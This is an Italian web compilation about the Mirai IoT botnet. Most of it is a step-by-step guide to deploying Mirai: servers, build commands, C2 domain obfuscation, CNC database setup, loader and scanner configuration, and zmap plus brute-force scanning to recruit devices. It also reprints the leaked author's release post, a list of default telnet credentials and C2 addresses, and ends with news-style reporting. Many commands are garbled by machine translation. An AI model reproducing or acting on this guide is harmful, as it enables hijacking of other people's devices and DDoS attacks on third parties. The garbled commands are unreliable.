Codice sorgente Mirai. Installazione e configurazione della botnet Mirai. Principio di funzionamento di Mirai

Fondamentalmente, Mirai funziona in modo semplice: esegue la scansione di Internet alla ricerca di dispositivi IoT accessibili tramite telnet vulnerabili alla forza bruta e all'hacking. Il malware attacca principalmente telecamere di sorveglianza, DVR e router e poi continua a moltiplicarsi come un worm.

Dagli attacchi DDoS sferrati di recente da questa botnet, la più grande d'Europa. La potenza di attacco di picco ha raggiunto i 620 Gbit/s e oltre 1 Tb/s. Per ottenere tali risultati gli aggressori hanno utilizzato il Flooding UDP, DNS e HTTP nonché i pacchetti GRE (Generic Routing Encapsulation), che gli esperti hanno riconosciuto come del tutto insoliti.

Le conclusioni degli specialisti di MalwareTech coincidono generalmente con queste osservazioni. Pertanto, in un periodo di dodici ore, i ricercatori hanno registrato circa 72.000 indirizzi IP univoci e ogni ora sono apparsi 4.000 nuovi IP. Da ciò gli analisti hanno concluso che la dimensione della botnet è molto modesta: solo circa 120.000 dispositivi al giorno. E sebbene la botnet sia molto più grande e le cifre siano di 1-1,5 milioni di bot, né i ricercatori di MalwareTech né gli specialisti di Akamai sono d'accordo con questo.

"Mirai, che in precedenza era stato ampiamente ignorato a causa della semplicità degli attacchi telnet, è diventato un importante argomento di discussione nei media di tutto il mondo la scorsa settimana, con le forze dell'ordine che hanno avviato indagini, con il supporto di molte aziende internazionali", scrivono i ricercatori . “È molto probabile che potenti attacchi DDoS diventeranno ora una pratica più comune poiché gli hacker trovano dispositivi IoT sempre più vulnerabili o iniziano a infettare dispositivi protetti da NAT. È decisamente giunto il momento che i produttori smettano di rilasciare dispositivi con password globali per impostazione predefinita e passino a rilasciare dispositivi con password generate casualmente nella parte inferiore del case."

Oltre al rapporto, i ricercatori di MalwareTech hanno incluso un video che mostra una mappa delle infezioni Mirai (vedi sotto). Sempre sul sito dei ricercatori è possibile trovare una mappa interattiva della botnet, aggiornata in tempo reale.

Avremo bisogno di due server VPS KVM e di un dominio. La virtualizzazione è KVM, questa volta manca OpenVZ.

Prendo i server qui -

Installeremo la botnet stessa su un server ed eseguiremo la scansione dei bot sul secondo. (brutale)

IMPORTANTE. I server devono essere basati su Debian 8 e avere almeno 1 GB di RAM.

Qualsiasi dominio, non importa.

Mi dispiace, ovviamente, ma non ti dirò come collegare un dominio a un VPS. Non è difficile, lo capirai da solo.

Mastice e cominciamo.

# apt-get update -y

# apt-get upgrade -y

# apt-get install decomprime lo schermo del recinto elettrico gcc golang sudo git -y

# apt-get install mysql-server -y

# apt-get install mysql-client -y

# apt-get install apache2 -y

Durante l'installazione di MySQL, dovrai creare una password per accedere a MySQL per l'utente root. Ti verrà in mente una password normale, senza “qwerty”

Scrivilo da qualche parte, ne avremo bisogno di nuovo.

# sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y

#bash< <(curl -s -S -L

Devi essere registrato per vedere i link.

)

# gvm installa go1.4

# gvm usa go1.4 [--default]

# gvm installa go1.4 -B

# gvm usa go1.4

# esporta GOROOT_BOOTSTRAP=$GOROOT

# gvm installa go1.5

# gvm usa go1.5

# gvm installa go1.8

# gvm usa go1.8

Dopo aver installato tutte le utilità, scarica i sorgenti del bot:

Devi essere registrato per vedere i link.

E caricalo sul server. Squadra wget o semplicemente tramite il programma WinSCP.

# decomprimere Mirai-Source-Code-master.zip

# cd Mirai-Source-Code-Master/mirai/tools

# gcc enc.c -o enc

# ./enc stringa *******(scriviamo il nostro dominio, che è collegato al server) e premiamo Invio.

Qui vedrai il seguente testo:

XOR"ing 14 byte di dati...

\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22

14 - qui avrai un numero diverso, quindi non preoccuparti, è tutto corretto.

Copiamo tutto questo testo.

Apri tramite nano editor o tramite WinSCP file tabella.c che è nella cartella mirai/bot

Devo vedere questo -

Devi essere registrato per vedere i link.

Linea aggiungi_entrata(TABLE_CNC_DOMAIN- cambia tutto tra virgolette nel testo che hai appena copiato. Invece di " 30 " Scriviamo il nostro numero, che abbiamo anche appena copiato. Facciamo lo stesso con la linea add_entry(TABLE_SCAN_CB_DOMAIN

Salva e chiudi l'editor.

Apri il file con un editor mirai/cnc/main.go

Vediamo questo -

Devi essere registrato per vedere i link.

"127.0.0.1" cambiare in "127.0.0.1:3306"

"parola d'ordine" Cambiamo la password che abbiamo inserito in precedenza nel nostro MySQL. "

Salvare il file e chiudere l'editor.

Copia semplicemente tutta questa schifezza, non ti dirò perché è necessaria -

# mkdir /etc/xcompile

# cd /etc/xcompile

#wget

Devi essere registrato per vedere i link.

#wget

Devi essere registrato per vedere i link.

#wget

Devi essere registrato per vedere i link.

#wget

Devi essere registrato per vedere i link.

#wget

Devi essere registrato per vedere i link.

#wget

Devi essere registrato per vedere i link.

#wget

Devi essere registrato per vedere i link.

#wget

Devi essere registrato per vedere i link.

#wget

Devi essere registrato per vedere i link.

# tar -jxf compilatore incrociato-armv4l.tar.bz2

# tar -jxf compilatore incrociato-i586.tar.bz2

# tar -jxf compilatore incrociato-m68k.tar.bz2

# tar -jxf compilatore incrociato-mips.tar.bz2

# tar -jxf compilatore incrociato-mipsel.tar.bz2

# tar -jxf compilatore incrociato-powerpc.tar.bz2

# tar -jxf compilatore incrociato-sh4.tar.bz2

# tar -jxf compilatore incrociato-sparc.tar.bz2

# tar -jxf compilatore incrociato-armv6l.tar.bz2

#rm*.tar.bz2

# mv cross-compilatore-armv4l armv4l

# mv compilatore incrociato-i586 i586

#mv compilatore incrociato-m68k m68k

# mv cross-compilatore-mips mips

# mv compilatore incrociato-mipsel mipsel

# mv compilatore incrociato-powerpc powerpc

# mv compilatore incrociato-sh4 sh4

# mv cross-compilatore-sparc sparc

# mv cross-compilatore-armv6l armv6l

# esporta PERCORSO=$PERCORSO:/etc/xcompile/armv4l/bin

# esporta PERCORSO=$PERCORSO:/etc/xcompile/i586/bin

# esporta PERCORSO=$PERCORSO:/etc/xcompile/m68k/bin

# esporta PERCORSO=$PERCORSO:/etc/xcompile/mips/bin

# esporta PERCORSO=$PERCORSO:/etc/xcompile/mipsel/bin

# esporta PERCORSO=$PERCORSO:/etc/xcompile/powerpc/bin

# esporta PERCORSO=$PERCORSO:/etc/xcompile/powerpc-440fp/bin

# esporta PERCORSO=$PERCORSO:/etc/xcompile/sh4/bin

# esporta PERCORSO=$PERCORSO:/etc/xcompile/sparc/bin

# esporta PERCORSO=$PERCORSO:/etc/xcompile/armv6l/bin

# esporta PERCORSO=$PERCORSO:/usr/local/go/bin

# esporta GOPATH=$HOME/Documenti/go

# vai a prendere github.com/go-sql-driver/mysql

# vai a prendere github.com/mattn/go-shellwords

# cd Mirai-Codice-Sorgente-master/mirai

# ./build.sh esegue il debug di telnet

# ./build.sh rilascia telnet

# mv mirai* /var/www/html

# cd /var/www/html

#mkdirbins

#mv*bins/

Ora MySQL.

# mysql -u root -p

Qui ti verrà chiesta una password. Inserisci la password che hai impostato in precedenza.

# crea il database mirai;

# usa mirai

Ora copia tutto il testo da qui -

Devi essere registrato per vedere i link.

Incollalo e premi Invio.

Copia il testo da qui -

Devi essere registrato per vedere i link.

Invece di anna-senpai scrivi il tuo login. Qualunque. Lo stesso con la mia fantastica password. Avremo bisogno di questi dati per accedere al pannello di controllo del bot.

Dovrebbe essere così - INSERISCI NEI VALORI degli utenti (NULL, "pizdec", "zaebalsjapisatj", 0, 0, 0, 0, -1, 1, 30, "");

Copia, incolla, premi Invio.

Ora puoi uscire.

È quasi finito.

# cd Mirai-Codice-Sorgente-master/mirai/release

# tocco prompt.txt

# schermo ./cnc

Deve vedere l'iscrizione DB MySQL aperto

Non chiudiamo questa sessione, ne apriamo una nuova.

Devi essere registrato per vedere i link.

Invece di *******, scrivi il tuo dominio e clicca su Apri.

Inserisci il tuo nome utente e password, nel mio caso è -

zaebalsjapisatj

Questo è tutto, siamo nel pannello di controllo del bot.

Ora abbiamo bisogno dei bot. Qui tutto è semplice, non sono necessarie installazioni.

Configuriamo il caricatore.

Il caricatore è necessario in modo che i bot possano essere aggiunti da file di testo. Diciamo che abbiamo creato una serie di dispositivi (router, fotocamere, telefoni) e per aggiungerli al bot abbiamo bisogno di un caricatore.

Anche il caricatore è un "worm"

Connettiti al nostro server tramite PuTTY e WinSCP.

Utilizzando WinSCP troviamo il file principale.c nella cartella Mirai-Codice-Sorgente-master/dlr

Scriviamo l'IP del nostro server come nello screenshot -

Devi essere registrato per vedere i link.

Lasciamo le virgole, così dovrebbe essere. Salva e chiudi.

Ora con PyTTY vai sul nostro server e scrivi -

# cd Mirai-Codice-Sorgente-master/dlr

#chmod777*

# ./build.sh

#uscita del cd

# mv dlr* ~/Mirai-Source-Code-master/loader/bins

Ora apriamo WinSCP e trova il file principale.c nella cartella Mirai-Source-Code-master/loader/src

Lo cambiamo nel nostro IP come nello screenshot -

Devi essere registrato per vedere i link.

Salva e chiudi.

Attraverso Mastice -

# ./build.sh

Usando WinSCP aprire il file scanListen.go che si trova nella cartella Mirai-Codice-Sorgente-master/mirai/tools

Cambia l'IP del tuo server -

Devi essere registrato per vedere i link.

Poi con PyTTY -

# cd Mirai-Codice-Sorgente-master/mirai/tools

# vai a creare scanListen.go

Ora abbiamo un nuovo file - scanAscolta(senza .andare, Appena scanAscolta)

scanAscolta devono essere spostati in una cartella Master/caricatore del codice sorgente Mirai

Solo con l'aiuto WinSCP mettilo in una cartella caricatore

Adesso controlliamo se funziona tutto

# ./caricatore

Se vedi cosa c'è sullo schermo, allora è tutto corretto -

Devi essere registrato per vedere i link.

Se si verificano errori, scrivi all'argomento, ti aiuterò.

Per scaricare i bot dall'elenco, rilascia il file di testo nella cartella caricatore e digita il comando -

# lista gatti.txt | ./caricatore

Questo è tutto, tutti i robot che hai reclutato saranno con te, manderanno in crash i siti al tuo comando.

Personalmente non ho usato questo metodo, ho trovato un modo più semplice.

Qui abbiamo bisogno di un secondo server. Anche acceso Debian8.

# apt-get update -y

# apt-get upgrade -y

# apt-get install python-paramiko -y

# apt-get install zmap -y

zmap ne abbiamo bisogno per la scansione delle porte. Il principio di funzionamento è lo stesso di KPortScan, solo 50 volte più veloce.

Copia tutto il codice da qui -

Devi essere registrato per vedere i link.

E salva con nome scan.py

Qui puoi aggiungere le tue password e i tuoi accessi:

Devi essere registrato per vedere i link.

Corda combinato non toccare!

Qui è necessario registrare l'IP del server su cui si trova il bot -

Devi essere registrato per vedere i link.

Modifichiamo tutto e lo salviamo.

Rilasciamo il file scan.py ovunque sul nostro server. Sul secondo server, dedicato esclusivamente alla scansione, quello su cui non tocchiamo il bot.

Abbiamo bisogno di IP da scansionare.

#zmap -p22 -o list.txt -B 100M(puoi scansionare altre porte, io ho sempre scansionato 22 o 23)

Tutti i risultati saranno nel file lista.txt

Dopo aver raccolto il file IP (più sono, meglio è). lista.txt lancialo accanto al file scan.py e scrivi -

# python scan.py list.txt 500

Questo è tutto, ci sediamo e guardiamo come cresce la nostra botnet.

Quando ci sono almeno 200 bot, puoi avviare il caricatore.

Per fare ciò, vai al server su cui è installata la botnet e -

# cd Mirai-Source-Code-master/loader

# ulimit -n 9999999

# ./scanAscolta | ./caricatore

Ora il bot funzionerà come un “verme” ed eliminerà altri bot.

La settimana scorsa è trapelato online il codice sorgente dei componenti della rete bot Mirai, utilizzata per attacchi DDoS da record con una capacità fino a 1 Tb/s.

Arte. 273 del codice penale della Federazione Russa. Creazione, utilizzo e distribuzione di programmi informatici dannosi

1. Creazione, distribuzione o utilizzo di programmi informatici o altre informazioni informatiche, consapevolmente destinati alla distruzione, al blocco, alla modifica, alla copia non autorizzati di informazioni informatiche o alla neutralizzazione dei mezzi di protezione delle informazioni informatiche, -

è punito con la restrizione della libertà fino a quattro anni o con il lavoro forzato fino a quattro anni o con la reclusione per lo stesso periodo con la multa fino a duecentomila rubli o ammontare della retribuzione o di altri redditi del condannato per un periodo fino a diciotto mesi.

2. Gli atti previsti dalla prima parte del presente articolo, commessi da un gruppo di persone mediante associazione a delinquere o da un gruppo organizzato o da persona che si avvale della propria posizione ufficiale, nonché quelli che hanno causato gravi danni o sono stati commessi per interesse egoistico , -

è punibile con la restrizione della libertà fino a quattro anni o con il lavoro forzato fino a cinque anni con la privazione del diritto di ricoprire determinati incarichi o di impegnarsi in determinate attività per un periodo fino a tre anni o senza di essa, o reclusione fino a cinque anni con una multa da centomila a duecentomila rubli o per l'importo della retribuzione o altro reddito della persona condannata per un periodo da due a tre anni o senza di essa e con o senza privazione del diritto di ricoprire determinati incarichi o impegnarsi in determinate attività per un periodo massimo di tre anni.

3. Gli atti previsti nelle parti prima o seconda del presente articolo, se hanno comportato gravi conseguenze o hanno creato una minaccia al loro verificarsi, -

è punito con la reclusione fino a sette anni.

Questa botnet è composta principalmente da telecamere, dispositivi DVR, ecc.

L'infezione avviene in modo molto semplice: viene eseguita la scansione di Internet alla ricerca di porte 80/23 aperte (web/telnet) e vengono selezionati account codificati.

Pochi utenti cambiano le password dei propri account integrati (se possibile), quindi la botnet viene costantemente riempita con nuovi dispositivi. Se è possibile modificare la password per l'interfaccia web mentre si è al suo interno, la password e la stessa presenza dell'accesso telnet sfuggono semplicemente a molti utenti.

Gli account più comunemente utilizzati sono:

abilita: sistema
conchiglia:sh
amministratore: amministratore
radice:xc3511
radice:vizxv
radice: amministratore
root:xmhdipc
radice:123456
radice:888888
supporto: supporto
radice:54321
radice: juantech
radice:anko
radice:12345
amministratore:
radice:predefinito
password dell'amministratore
radice: radice
radice:
utente:utente
amministratore: smcadmin
radice: passare
amministratore:admin1234
radice:1111
ospite:12345
radice:1234
radice: parola d'ordine
radice:666666
amministratore:1111
servizio: servizio
radice: sistema
supervisore: supervisore
radice:klv1234
amministratore:1234
radice:ikwb
radice:Zte521

Dopo aver ottenuto l'accesso, il centro di comando riceve una notifica binaria sulla presenza di un nuovo bot:

4a 9a d1 d1 = XXX.XXX.XXX.XXX (l'indirizzo dell'host era qui)
05 = Tav
17 = 23 (Porta 23 Telnet)
05 = Tav
61 64 6d 69 6e = nome utente:admin admin
05=Tab
61 64 6d 69 6e = password utente: admin

I componenti della botnet sono progettati per funzionare in diversi ambienti, come evidenziato dai campioni identificati:

mirai.arm
mirai.arm7
mirai.mips
mirai.ppc
mirai.sh4

I server dei comandi si trovano attualmente ai seguenti indirizzi:

103.1.210.27
103.1.210.28
185.130.225.65
185.130.225.66
185.130.225.83
185.130.225.90
185.130.225.94
185.130.225.95
185.70.105.161
185.70.105.164
185.93.185.11
185.93.185.12
200.170.143.5
46.249.38.145
46.249.38.146
46.249.38.148
46.249.38.149
46.249.38.150
46.249.38.151
46.249.38.152
46.249.38.153
46.249.38.154
46.249.38.155
46.249.38.159
46.249.38.160
46.249.38.161
80.87.205.10
80.87.205.11

Le istruzioni per creare una botnet sono abbastanza semplici, eccole così come sono (fonte http://pastebin.com/E90i6yBB):

Ciao a tutti,

Quando sono entrato per la prima volta nel settore DDoS, non avevo intenzione di restarci a lungo. Ho guadagnato i miei soldi, ci sono molti occhi che guardano l'IOT adesso, quindi è tempo di GTFO. Tuttavia, conosco tutti gli skid e la loro mamma, è il loro sogno proibito avere qualcosa oltre a qbot.

Quindi oggi ho una fantastica uscita per te. Con Mirai, di solito ottengo un massimo di 380.000 bot solo da Telnet. Tuttavia, dopo il DDoS di Kreb, gli ISP stavano lentamente chiudendo e ripulendo le loro attività. Oggi, il pull massimo è di circa 300.000 bot e sta diminuendo.

Quindi, sono il tuo senpai e ti tratterò davvero bene, mia cara.

E con tutti quelli che pensavano di fare qualcosa colpendo il mio CNC, mi sono fatto delle belle risate, questo bot usa il dominio per CNC. Ci vogliono 60 secondi perché tutti i bot si ricolleghino, lol

Inoltre, un ringraziamento a questo post del blog di malwaremustdie
http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html<- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol
Avevo molto rispetto per te, pensavo che fossi un buon invertitore, ma in realtà hai completamente e totalmente fallito nell'invertire questo binario. "Abbiamo ancora un kung fu migliore di quello di voi ragazzini" non farmi ridere, per favore, hai fatto così tanti errori e hai persino confuso alcuni binari diversi con i miei. LOL

Permettimi di darti qualche schiaffo in cambio—
1) la porta 48101 non è per la connessione posteriore, serve per il controllo per impedire che più istanze del bot vengano eseguite insieme
2) /dev/watchdog e /dev/misc non servono per "effettuare il ritardo", ma per impedire il blocco del sistema. Questo è un frutto a portata di mano, così triste che sei estremamente stupido
3) Hai fallito e hai pensato che FAKE_CNC_ADDR e FAKE_CNC_PORT fossero veri CNC, lol "E facendo la backdoor per connettersi tramite HTTP su 65.222.202.53." sei stato inciampato nel flusso del segnale;) prova a fare di più
4) Il tuo strumento scheletro fa schifo, pensava che il decodificatore di attacco fosse “stile sinden”, ma non utilizza nemmeno un protocollo basato su testo? CNC e bot comunicano tramite protocollo binario
5) dici "chroot("/") così prevedibile come torlus" ma non capisci, alcuni altri uccidono in base a cwd. Mostra quanto sei fuori dal giro con il malware reale. Torna a Skidland

Perché stai scrivendo strumenti di reverse engineering? In primo luogo, non è nemmeno possibile invertire correttamente. Per favore, impara alcune abilità prima di provare a impressionare gli altri. La tua arroganza nel dichiarare come mi hai "picchiato" con la tua stupida affermazione di kung-fu mi ha fatto ridere così forte mentre mangiavo il mio SO che mi ha dovuto dare una pacca sulla spalla.

Proprio come io sarò libero per sempre, tu sarai condannato per sempre alla mediocrazia.

Requisiti
2 server: 1 per CNC + mysql, 1 per il ricevitore di scansione e 1+ per il caricamento

Requisiti dell'OP
2 VPS e 4 server
— 1 VPS con host estremamente a prova di proiettile per server database
— 1 VPS, rootkitted, per scanReceiver e distributore
— 1 server per CNC (utilizzato come CPU al 2% con bot da 400.000)
— 3 server NForce da 10 Gbps per il caricamento (il distributore distribuisce equamente su 3 server)

— Per stabilire la connessione al CNC, i bot risolvono un dominio (resolv.c/resolv.h) e si connettono a quell'indirizzo IP
— I bot attaccano telnet utilizzando uno scanner SYN avanzato che è circa 80 volte più veloce di quello di qbot e utilizza quasi 20 volte meno risorse. Quando trova un risultato bruto, il bot risolve un altro dominio e lo segnala. Questo è concatenato a un server separato per essere caricato automaticamente sui dispositivi man mano che arrivano i risultati.
— I risultati bruti vengono inviati per impostazione predefinita sulla porta 48101. L'utilità chiamata scanListen.go negli strumenti viene utilizzata per ricevere risultati bruti (al massimo ricevevo circa 500 risultati bruti al secondo). Se crei in modalità debug, dovresti vedere il binario dell'utilità scanListen apparire nella cartella debug.

Mirai utilizza un meccanismo di diffusione simile all'auto-ripetizione, ma quello che io chiamo "carico in tempo reale". Fondamentalmente, i bot brucano i risultati, li inviano a un server in ascolto con l'utilità scanListen, che invia i risultati al caricatore. Questo ciclo (brute -> scanListen -> load -> brute) è noto come caricamento in tempo reale.

Il caricatore può essere configurato per utilizzare più indirizzi IP per bypassare l'esaurimento delle porte in Linux (c'è un numero limitato di porte disponibili, il che significa che non c'è abbastanza variazione nella tupla per ottenere più di 65k connessioni in uscita simultanee - in teoria, questo valore è molto meno). Avrei forse 60k - 70k connessioni in uscita simultanee (caricamento simultaneo) distribuite su 5 IP.
Il bot ha diverse opzioni di configurazione che sono offuscate in (table.c/table.h). In ./mirai/bot/table.h puoi trova la maggior parte delle descrizioni delle opzioni di configurazione. Tuttavia, in ./mirai/bot/table.c ci sono alcune opzioni che *devi* modificare per iniziare a funzionare.

— TABLE_CNC_DOMAIN — Nome di dominio del CNC a cui connettersi — Evitamento DDoS molto divertente con Mirai, le persone provano a colpire il mio CNC ma lo aggiorno più velocemente di quanto riescano a trovare nuovi IP, lol. Ritardati:)
— TABLE_CNC_PORT — Porta a cui connettersi, è già impostata su 23
— TABLE_SCAN_CB_DOMAIN — Quando si trovano risultati bruti, viene segnalato questo dominio
— TABLE_SCAN_CB_PORT — Porta a cui connettersi per risultati bruti, è già impostata su 48101.

In ./mirai/tools troverai qualcosa chiamato enc.c — Devi compilarlo per produrre cose da inserire nel file table.c

Esegui all'interno di questa directory mirai

./build.sh esegue il debug di telnet

Riceverai alcuni errori relativi alla mancata presenza dei cross-compilatori se non li hai configurati. Questo va bene, non influenzerà la compilazione dello strumento enc

Ora, nella cartella ./mirai/debug dovresti vedere un binario compilato chiamato enc. Ad esempio, per ottenere una stringa offuscata per il nome di dominio a cui i bot possono connettersi, utilizza questo:

./debug/enc stringa scopa.the.police.com
L'output dovrebbe assomigliare a questo

XOR su 20 byte di dati...
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
Per aggiornare il valore TABLE_CNC_DOMAIN, ad esempio, sostituire la lunga stringa esadecimale con quella fornita dallo strumento enc. Inoltre, vedi "XOR di 20 byte di dati". Questo valore deve sostituire anche l'ultimo argomento. Quindi, ad esempio, la riga table.c originariamente assomiglia a questa
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); //cnc.changeme.com
Ora che conosciamo il valore dallo strumento enc, lo aggiorniamo in questo modo

add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22″, 20); //fuck.the.police.com
Alcuni valori sono stringhe, altri sono porte (uint16 in ordine di rete/big endian).
CONFIGURA IL CNC:
apt-get installa mysql-server mysql-client

Il CNC richiede che il database funzioni. Quando installi il database, accedi ed esegui i seguenti comandi:
http://pastebin.com/86d0iL9g

Questo creerà un database per te. Per aggiungere il tuo utente,

INSERISCI NEI VALORI degli utenti (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, ");
Ora vai nel file ./mirai/cnc/main.go

Modifica questi valori
const DatabaseAddr stringa = "127.0.0.1"
const DatabaseUser stringa = "root"
const DatabasePass stringa = "password"
const DatabaseTable stringa = "mirai"
Alle informazioni per il server mysql hai appena installato

I compilatori incrociati sono semplici, segui le istruzioni a questo link per la configurazione. È necessario riavviare il sistema o ricaricare il file .bashrc affinché queste modifiche abbiano effetto.

http://pastebin.com/1rRCc3aD
Il CNC, il bot e gli strumenti correlati:
http://dopefile.pk/a9f2n9ewk8om
Come costruire bot + CNC
Nella cartella mirai è presente lo script build.sh.
./build.sh esegue il debug di telnet

Produrrà file binari di debug del bot che non verranno demonizzati e stamperanno informazioni sulla possibilità di connettersi al CNC, ecc., sullo stato delle inondazioni, ecc. Compila nella cartella ./mirai/debug
./build.sh rilascia telnet

Produrrà file binari di bot pronti per la produzione che sono estremamente ridotti, piccoli (circa 60K) che dovrebbero essere caricati sui dispositivi. Compila tutti i file binari nel formato: “mirai.$ARCH” nella cartella ./mirai/release

Il caricatore legge le voci telnet da STDIN nel seguente formato:
ip:porta utente:pass
Rileva se è presente wget o tftp e tenta di scaricare il binario utilizzandolo. In caso contrario, caricherà in eco un piccolo file binario (circa 1kb) che sarà sufficiente come wget.
./build.sh

Costruirà il caricatore, ottimizzato, per l'uso in produzione, senza problemi. Se hai un file nei formati utilizzati per il caricamento, puoi farlo
file cat.txt | ./caricatore
Ricordati di limitare!

Giusto per essere chiaro, non fornirò alcun tipo di tutorial di aiuto individuale o roba del genere, troppo tempo. Tutti gli script e tutto il resto sono inclusi per configurare una botnet funzionante in meno di 1 ora. Sono disposto ad aiutarti se hai domande individuali (come mai il CNC non si connette al database, ho fatto questo, bla bla), ma non domande come "Il mio bot non si connette, aggiustalo"

Questo è il Trojan di cui tutti hanno scritto nelle ultime settimane. Tra i risultati più impressionanti delle botnet create con il suo aiuto c'è una capacità di oltre un terabit e in un piccolo paese africano.

Quanti computer ha schiavizzato per questo?

Affatto. O almeno molto poco. I dispositivi presi di mira da Mirai non sono affatto computer, ma dispositivi IoT: videoregistratori, fotocamere, tostapane... Secondo le statistiche di Level 3 Communications, alla fine di ottobre circa mezzo milione di dispositivi erano già sotto il controllo del trojan.

E cosa, può prendere qualsiasi macchina fotografica con i frigoriferi?

Non proprio. Mirai è progettato su misura per i dispositivi che eseguono Busybox, un insieme semplificato di utilità UNIX riga di comando, che viene utilizzata come interfaccia principale in embedded sistemi operativi. Il trojan attacca solo determinate piattaforme, come ARM, ARM7, MIPS, PPC, SH4, SPARC e x86. Sono a rischio solo i dispositivi con impostazioni di fabbrica o con una protezione molto debole: l'infezione avviene tramite un attacco di forza bruta alla porta Telnet, per la quale viene utilizzato l'elenco predefinito delle credenziali di amministratore.

È in qualche modo inefficace cercare su tutta Internet telecamere senza password, non è vero?

Ma non avevano indovinato. Un giornalista di The Atlantic ha affittato un server e ha scritto un programma che finge di essere un tostapane. Il primo attacco ad un “elettrodomestico” è avvenuto dopo 40 minuti! Nelle 11 ore successive, il tostapane è stato violato più di 300 volte. Il fatto è che le botnet hanno raggiunto dimensioni senza precedenti e lo spazio degli indirizzi IPv4 per esse è molto ridotto. Inoltre, vale la pena ricordare che gli hacker non cercano manualmente i dispositivi vulnerabili: questo viene fatto dai membri della botnet. E poiché anche ogni “dipendente” appena convertito inizia a cercare vittime, la botnet cresce in modo esponenziale.

Geometricamente? Quindi tra un anno le botnet conterranno trilioni di dispositivi?!

Naturalmente no 😀 Il fatto è che il numero di dispositivi IoT è limitato. E questo è già un problema abbastanza urgente. L'autore di Mirai ammette che il numero massimo di dispositivi sulla sua rete era di 380mila e che, dopo diversi attacchi, quando utenti e fornitori hanno iniziato a prendere misure di protezione, il numero di dispositivi è sceso a 300mila e continua a diminuire.

Dopo che il codice sorgente di Mirai fu reso pubblico, moltissimi hacker iniziarono ad usarlo. Attualmente, il numero di grandi botnet basate su questo trojan è di circa 52. Vale la pena chiarire che ogni dispositivo può appartenere a una sola rete: subito dopo aver catturato un dispositivo, il malware lo protegge da una nuova infezione. L'unico caso in cui un dispositivo può essere trasferito a un altro "proprietario" è quando il dispositivo viene riavviato. Secondo gli esperti, dopo il riavvio il dispositivo verrà nuovamente infettato entro 30 secondi.

Quindi l’efficacia di Mirai sta diminuendo?

SÌ. Gli hacker sono costretti a lottare per una quantità limitata di risorse, che diminuisce (a causa delle precauzioni) anziché aumentare. La situazione è ulteriormente complicata dal fatto che gli hacker sono estremamente egoisti: ad esempio, dopo che un importante server di comando e controllo (C&C) della botnet è stato semplicemente spento, ora la botnet si è rivelata inutile e invulnerabile a nuovi attacchi. Ogni nuova rete basato su Mirai sarà più piccolo dei precedenti e potrà effettuare solo attacchi di bassa potenza. Ad esempio, durante le elezioni americane sono stati effettuati deboli attacchi ai siti web di Clinton e Trump. Non hanno causato alcun danno e nessuno li ha notati (ad eccezione della società che monitora specificamente le azioni di questo trojan).

È chiaro. Quali altre informazioni interessanti si conoscono su questo Trojan?

È il successore di un altro trojan conosciuto con i nomi Gafgyt, Lizkebab, BASHLITE, Bash0day, Bashdoor e Torlus. Quest'ultima è nota per essere in grado di sottomettere circa un milione di webcam, secondo la stessa Level 3 Communications. È anche noto che la maggior parte delle botnet non utilizza una copia pura di Mirai, ma le proprie versioni modificate (il che è abbastanza prevedibile).

Un altro fatto interessanteè che gli utenti RuNet hanno trovato in codice sorgente Mirai Russian trace - nel file cnc/admin.go c'è un output di commenti in russo:

cnc/admin.go: this.conn.Write(byte(“\033))

D'altronde sembra più uno scherzo: “controllo dei conti...” è una copia evidente (traduzione automatica?) di “controllo dei conti”.

Il mese scorso ci sono stati attacchi a siti di grandi dimensioni come Twitter o Spotify, che li ha temporaneamente disabilitati. A questo scopo è stata utilizzata una botnet Mirai, unendo 400-500mila dispositivi Internet of Things. Ora i giornalisti di Motherboard hanno appreso che due hacker sono riusciti a prendere il controllo della botnet e a crearne una nuova versione: unisce già un milione di dispositivi. Gli abbonati del provider tedesco ne hanno sperimentato la potenza Deutsche Telekom, la cui rete era inattiva lo scorso fine settimana.

A caccia di Mirai

I giornalisti sono riusciti a parlare con uno di questi due misteriosi hacker: usa il soprannome BestBuy. In una chat online crittografata, ha detto loro che c'era una vera lotta tra gli hacker per il controllo di Mirai. Recentemente è stata scoperta una vulnerabilità nel suo software. Il suo utilizzo, unito alla sua velocità, potrebbe consentire a BestBuy e al suo partner Popopret di prendere il controllo della maggior parte della botnet e di aggiungervi nuovi dispositivi.

In precedenza, i nostri esperti hanno studiato il codice della botnet Mirai: si è scoperto che non è stato creato appositamente per i dispositivi Internet of Things. Il software dannoso cerca i dispositivi connessi alla rete con login e password predefiniti (admin:admin, root:password, ecc.). Ciò significa che, in teoria, può includere qualsiasi dispositivo, inclusi computer domestici, server o router.

Dispositivi IoT- solitamente router - incluso in La botnet Mirai finché non si riavvia, quindi il worm viene cancellato dalla memoria. Tuttavia, la botnet scansiona costantemente Internet alla ricerca di dispositivi vulnerabili, in modo che un dispositivo “curato” possa rapidamente rientrare a farne parte. Esiste una vera e propria corsa tra gli hacker per essere i primi a infettare quanti più dispositivi possibile.

Non ci sono informazioni su come i creatori del nuovo Mirai riescano a superare i concorrenti. Tuttavia, hanno detto ai giornalisti che utilizzano la propria botnet per scansionare dispositivi potenzialmente vulnerabili, compresi quelli che in precedenza facevano parte della botnet.

"Perché non chiedere ai Mirai di dare la caccia al Mirai e divorare l'originale", afferma BestBuy.

Non solo Mirai

Tuttavia, la nuova botnet non ha solo assorbito i vecchi dispositivi Mirai e anche quelli nuovi con password predefinite. I suoi creatori utilizzano anche vulnerabilità 0-day nel firmware dei dispositivi IoT. Gli esperti avevano già previsto l’imminente comparsa di tali botnet “combinate”.

La lotta contro di loro diventa notevolmente più complicata: se per contrastare Mirai l'utente del dispositivo finale deve solo modificare il login e la password per accedervi, non sarà in grado di far fronte da solo alle vulnerabilità del gadget .

